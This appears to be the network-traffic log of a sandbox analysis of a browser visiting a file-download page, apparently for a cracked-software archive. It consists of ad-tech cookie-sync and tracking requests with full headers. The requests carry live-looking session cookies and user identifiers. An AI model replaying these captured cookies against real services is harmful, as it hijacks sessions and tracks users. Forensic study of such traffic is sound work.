Source: global traffic	HTTP traffic detected: GET /fire.js?pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: s.cpx.toConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095 HTTP/1.1Host: ads.adlook.meConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?ird=1&rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KTPCACOOKIE=true
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fs.cpx.to%252Ffire.js%253Fdsp%253Dapp_nexus%2526dsp_uid%253D%2524UID%2526pid%253D12771%2526ref%253Dhttps%25253A%25252F%25252Foxy.st%25252F%2526url%253Dhttps%25253A%25252F%25252Fdownload.oxy.st%25252Fd%25252FSmUh%25252F2%25252F5744b8343e4600a69fa0181348e90fc8%2526hn_ver%253D76%2526fid%253D48758480-4109-4e67-8f00-773986908703%2526dsp%253DTTD%2526dsp_uid%253D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=BIAaH-w0bnmatSRya0ydTBRdHc4FHDoIKKoZImItWMLpfWM3cmF4A8xwYiDO9c6CVLCJjQGif6jRCAJ_4NSb7vBeMePjmVvodRqRSQ9cQow.; uuid2=2348066295523201724
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=captify_dmp&google_cm=&dsp=dbm&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /sync?dsp=OPENX&dsp_uid=bfe24ff9-a070-4ca7-ba00-cd408b545fa4 HTTP/1.1Host: s.cpx.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?user_id=RW8IAnTqITCB2iufh4wu8t HTTP/1.1Host: uidsync.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rauid=dNts6306JSIF1v1xnnpjsT
Source: global traffic	HTTP traffic detected: GET /i/102/8.gif?o=api&id5id=ID5tauykegEbfVx5hs7Xh4PahsKXi8PWxs7Xh4PahsKXi-n61IY1vzJzxNEO_L59YQs&gdpr_consent=undefined&gdpr=false HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#2; id5_unrecognized=1
Source: global traffic	HTTP traffic detected: GET /gm/v3 HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#2; id5_unrecognized=1
Source: global traffic	HTTP traffic detected: GET /sync?dsp=pubmatic&dsp_uid=B2362722-96A7-45E5-816D-DA88A7191676 HTTP/1.1Host: s.cpx.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fire.js?dsp=app_nexus&dsp_uid=2348066295523201724&pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: s.cpx.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_uid=CAESELyFu_pHvsMZBgZtrOHPYlM&dsp=dbm&google_cver=1 HTTP/1.1Host: s.cpx.toConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get.php?cg=czozMjoiMDI4MmMwMWI2MjYxYzA2M2FhOTliYTRhZjU5NTk5NWUiOw%2C%2C&n=czoxNDoibWVtZSBjcmFjay56aXAiOw%2C%2C&c=czo2NDoiYTViNzkwM2Q2YzRiYzM3ZTUyZjM3YjhiY2EyYmQ3MTNkNGY0ZmI2ZDU0N2UyOGRiZTNiZjlhOTQ2YjliMGI0OCI7&t=1718442906 HTTP/1.1Host: s1.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redir/?partnerid=111&partneruserid=ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw&redirurl=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F102%2F7%2F2.gif%3Fpuid%3DSMART_USER_ID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb-csync.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?user_id=RW8IAnTqITCB2iufh4wu8t HTTP/1.1Host: uidsync.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rauid=dNts6306JSIF1v1xnnpjsT
Source: global traffic	HTTP traffic detected: GET /fire.js?dsp=app_nexus&dsp_uid=2348066295523201724&pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: s.cpx.toConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: dsp_OPENX=bfe24ff9-a070-4ca7-ba00-cd408b545fa4#1718442906833; dsp_pubmatic=B2362722-96A7-45E5-816D-DA88A7191676#1718442907183; dsp_app_nexus=2348066295523201724#1718442907284; dsp_TTD=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b#1718442907284
Source: global traffic	HTTP traffic detected: GET /c/102/102/7/2.gif?puid=7344472575877188506&gdpr=0&gdpr_consent=&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; 3pi=
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8h9u11h&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
Source: global traffic	HTTP traffic detected: GET /get.php?cg=czozMjoiMDI4MmMwMWI2MjYxYzA2M2FhOTliYTRhZjU5NTk5NWUiOw%2C%2C&n=czoxNDoibWVtZSBjcmFjay56aXAiOw%2C%2C&c=czo2NDoiYTViNzkwM2Q2YzRiYzM3ZTUyZjM3YjhiY2EyYmQ3MTNkNGY0ZmI2ZDU0N2UyOGRiZTNiZjlhOTQ2YjliMGI0OCI7&t=1718442906 HTTP/1.1Host: s1.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /k/264.gif?puid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b&ttl=%%TTL%% HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; 3pi=102#1718442909140#-2041121598; cf=gif; cip=102; cnac=6; car=3; gdpr=0\|
Source: global traffic	HTTP traffic detected: GET /getuid?https://id5-sync.com/c/102/2/5/4.gif?puid=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=BIAaH-w0bnmatSRya0ydTBRdHc4FHDoIKKoZImItWMLpfWM3cmF4A8xwYiDO9c6CVLCJjQGif6jRCAJ_4NSb7vBeMePjmVvodRqRSQ9cQow.; uuid2=2348066295523201724
Source: global traffic	HTTP traffic detected: GET /c/102/2/5/4.gif?puid=2348066295523201724&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; 3pi=102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
Source: global traffic	HTTP traffic detected: GET /v8.46.0u2.0.12/2f3bf019474041cbedca486d3eef3035/prebid.js HTTP/1.1Host: tmzr.themoneytizer.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/id5?us_privacy= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0 HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metric?s=85433&f=28&fi=0 HTTP/1.1Host: metrics.biddertmz.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?c=17553 HTTP/1.1Host: id.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/id5?us_privacy=&_bee_ppp=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: checkForPermission=ok
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0&b=1&g=5cD8c3WL9sBrwhAf7sizQsZTTWkmHwO3mxl2kPfqiIQ%3D HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fdownload.oxy.st%2F&domain=download.oxy.st&cw=1&lsw=1 HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: application/jsonAccept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/config/prebid HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; cf=gif; cip=102; cnac=4; car=5; gdpr=0\|
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0&b=1&g=5cD8c3WL9sBrwhAf7sizQsZTTWkmHwO3mxl2kPfqiIQ%3D HTTP/1.1Host: lexicon.33across.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /metric?s=85433&f=28&fi=0 HTTP/1.1Host: metrics.biddertmz.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?c=17553 HTTP/1.1Host: id.crwdcntrl.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_dc=1; _cc_id=895074641bda37c72ccfd778425ed87f; _cc_cc="ACZ4nGNQsLA0NTA3MTMxTEpJNDZPNjdKTk5LMTe3MDEyTU2xME9jYGBgSMuNXsyAAABLngqa"; _cc_aud="ABR4nGNgYGBIy41ezAAHABZ0AdI%3D"
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
